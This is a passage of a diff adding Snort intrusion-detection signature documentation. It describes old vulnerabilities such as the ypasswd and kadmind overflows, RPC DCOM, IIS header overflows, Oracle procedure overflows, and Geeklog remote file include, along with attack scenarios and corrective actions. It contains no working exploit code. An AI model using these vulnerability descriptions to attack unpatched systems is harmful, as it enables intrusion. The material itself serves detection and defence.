+The host generating the request should be investigated for evidence of a compromise.  Check for the presence of root.exe, Admin.dll, and unexpected .eml or .nws files.  If it is determined that the system has been compromised the only safe way to recover the system is to format the system drives and re-install the system.  
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Matthew Watchinski Matt.Watchinski@sourcefire.com
+
+Additional References
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS01-044.asp
+
+CERT:
+http://www.cert.org/advisories/CA-2001-26.html
+http://www.cert.org/tech_tips/win-UNIX-system_compromise.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000742.txt
+++ snort-2.8.5.2/doc/signatures/100000742.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000742
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "functions.inc" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "functions.inc" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2030.txt
+++ snort-2.8.5.2/doc/signatures/2030.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+2030
+
+--
+Summary:
+A user can change their password for Network Information Services (NIS) 
+using the ypasswd command. A vulnerability exists in ypasswd where
+an overly long username can cause a buffer overflow resulting in 
+unauthorized access to the remote machine.
+
+--
+Impact:
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The rpc.ypasswd service processes all password changes from 
+ypasswd. Supplying a specially crafted request to a NIS server 
+running this daemon in the form of a long username, the attacker can 
+cause a buffer overflow in that process.
+
+Since all master servers handling NIS resources run this daemon, the 
+resulting root access affects all NIS resources available on the LAN.
+
+An exploit for this vulnerability exists, hosts that have been 
+compromised using this vulnerability typically display two instances of 
+inetd running at the same time. The result of the exploit is a root 
+shell attached to port 77 of the host.
+
+--
+Affected Systems:
+	Caldera OpenServer 5.0.5
+	Caldera OpenServer 5.0.6
+	Solaris 2.6
+	Solaris 7
+	Solaris 8
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypasswd service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CIAC:
+http://www.ciac.org/ciac/bulletins/m-008.shtml
+
+Security Focus Mailing List Archive:
+http://www.securityfocus.com/archive/1/187086
+
+CERT:
+http://www.kb.cert.org/vuls/id/327281
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2276.txt
+++ snort-2.8.5.2/doc/signatures/2276.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2276
+
+--
+Summary:
+This event is generated when an attempt is made to access a
+demonstration application which may contain vulnerabilties on a server
+using the Oracle database system for the application.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Remove the demo set of scripts
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2360.txt
+++ snort-2.8.5.2/doc/signatures/2360.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2360
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application MyphpPagetool.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+MyphpPagetool contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable ptinclude when 
+making a GET or POST  request  to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root by supplying
+their code in the file pt_config.inc.
+
+--
+Affected Systems:
+	myphpPagetool 0.4.3 -1
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path for the ptinclude variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000822.txt
+++ snort-2.8.5.2/doc/signatures/100000822.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000822
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "VBZooM" application running on a webserver. Access to the file "reply.php" with SQL commands being passed as the "UserID" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "UserID" parameter in the "reply.php" script used by the "VBZooM" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZooM
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3189.txt
+++ snort-2.8.5.2/doc/signatures/3189.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3189
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1009.txt
+++ snort-2.8.5.2/doc/signatures/1009.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1009
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1768.txt
+++ snort-2.8.5.2/doc/signatures/1768.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+
+1768 
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer in HTTP header field handler of Microsoft Internet Information Server (IIS) versions 4.0, 5.0, and 5.1.
+
+--
+Impact:
+Denial of Service, arbitrary code execution. Full administrative control is possible.
+
+--
+Detailed Information:
+A vulnerability exists in HTTP header process in ASP.DLL , a specially crafted packet sent to this processor will allow an attacker to disrupt the ISS service or run any arbitrary commands with the privileges of the ASP ISAPI extension.
+
+--
+Affected Systems:
+	Microsoft Internet Information Server 4.0 
+	Microsoft Internet Information Services 5.0 
+	Microsoft Internet Information Services 5.1 
+
+--
+Attack Scenarios:
+A remote attacker first probes the version of ISS server then ,could attempt overflow one of the HTTP header field buffers and execute arbitrary code on the system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patch.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS02-018.asp
+
+CERT:
+http://www.cert.org/advisories/CA-2002-09.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2119.txt
+++ snort-2.8.5.2/doc/signatures/2119.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2119
+
+--
+Summary:
+This event is generated when a remote user uses the IMAP RENAME command
+to send a suspiciously long string to port 143 on an internal server.
+This may indicate an attempt to exploit a buffer overflow vulnerability
+in the IMAP RENAME command. This may also affect other IMAP implementations.
+
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When a large amount of data is sent to a vulnerable IMAP server in the
+RENAME command, a buffer overflow condition may occur. This can allow
+the attacker to access the shell, where arbitrary code can be executed.
+Note that this exploit can only be attempted by a user with a valid IMAP
+account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264. 
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a sufficiently
+long RENAME command to the IMAP server, creating a buffer overflow
+condition. This can then allow the attacker to gain shell access on the
+compromised server, possibly leading to the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate patches for your operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/697.txt
+++ snort-2.8.5.2/doc/signatures/697.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+697
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1899.txt
+++ snort-2.8.5.2/doc/signatures/1899.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 1899
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Kerberos version 4 administration daemon 
+(kadmind).
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain unauthorized access to the target host along with other hosts in the kerberos realm.
+
+--
+Detailed Information:
+kadmind is used to administer a Kerberos database on the master key distribution center (KDC) of a kerberos realm.
+
+A buffer overflow condition exists in kadmind4 such that when the daemon parses a length value in an administration request the attacker can gain the ability to execute arbitrary code with the privileges of the user running the daemon, usually root.
+
+Authentication is not required to cause the overflow.
+
+Affected Systems:
+	Multiple vendors using kadmind version 4
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-29.html
+http://www.kb.cert.org/vuls/id/875073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1235
+
+--
--- snort-2.8.5.2.orig/doc/signatures/500.txt
+++ snort-2.8.5.2/doc/signatures/500.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+500
+--
+Summary:
+This event is generated when an IPv4 packet has the loose source record 
+route IP option set.
+--
+Impact:
+Information could be gathered about network topology, and machines 
+routing packets onto trusted links could be abused.
+--
+Detailed Information:
+Loose source record routing specifies a series of machines which must be
+used in the routing of a datagram.  This can be useful to map out routes
+using the traceroute program by adding discovered intermediary routers 
+one at a time.  Furthermore, while a machine may normally be unreachable
+due to default gateways, a compliant router can be forced to hand off 
+source routed packets to an intermediary capable of speaking both to the
+outside world and target machines; the packet may then be forwarded on
+to its destination.
+--
+Affected Systems:
+Any machine fully implementing RFC 791 set up as a router.
+--
+Attack Scenarios:
+By incrementing the TTL of successive packets, the topology of routes to
+a host can be determined.  Each compliant node along the way will reply
+with an ICMP Time Exceeded bearing their address and the recorded route.
+--
+Ease of Attack:
+Tools are readily available to employ source routing for the purpose of
+network discovery; the bounce attack described is unlikely to surface in
+a properly configured network.
+--
+False Positives:
+None known.
+--
+False Negatives:
+Network discovery can be done using other means than source routing.
+--
+Corrective Action:
+Redesign network topologies so that routers are kept to a minimum;
+disable routing by other machines.  To prevent network mapping, don't
+allow source-routed packets at all. 
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nick Black, Reflex Security <dank@reflexsecurity.com>
+-- 
+Additional References:
+
+IP RFC:
+http://www.faqs.org/rfcs/rfc791.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1654.txt
+++ snort-2.8.5.2/doc/signatures/1654.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1654
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000527.txt
+++ snort-2.8.5.2/doc/signatures/100000527.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000527
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "AssoCIateD" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "menu" parameter in the "index.php" script used 
+by the "AssoCIateD" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using AssoCIateD
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2767.txt
+++ snort-2.8.5.2/doc/signatures/2767.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2767
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_delete_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2881.txt
+++ snort-2.8.5.2/doc/signatures/2881.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2881
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_priority_group
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3305.txt
+++ snort-2.8.5.2/doc/signatures/3305.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3305
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/620.txt
+++ snort-2.8.5.2/doc/signatures/620.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+620
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain 
+which ports a host may be listening on, whether or not the ports are 
+filtered by a firewall and if the host is vulnerable to a particular 
+exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. 
+Then the attacker might find out that the FTP service is vulnerable to a
+particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other 
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1011.txt
+++ snort-2.8.5.2/doc/signatures/1011.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1011
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3186.txt
+++ snort-2.8.5.2/doc/signatures/3186.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3186
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
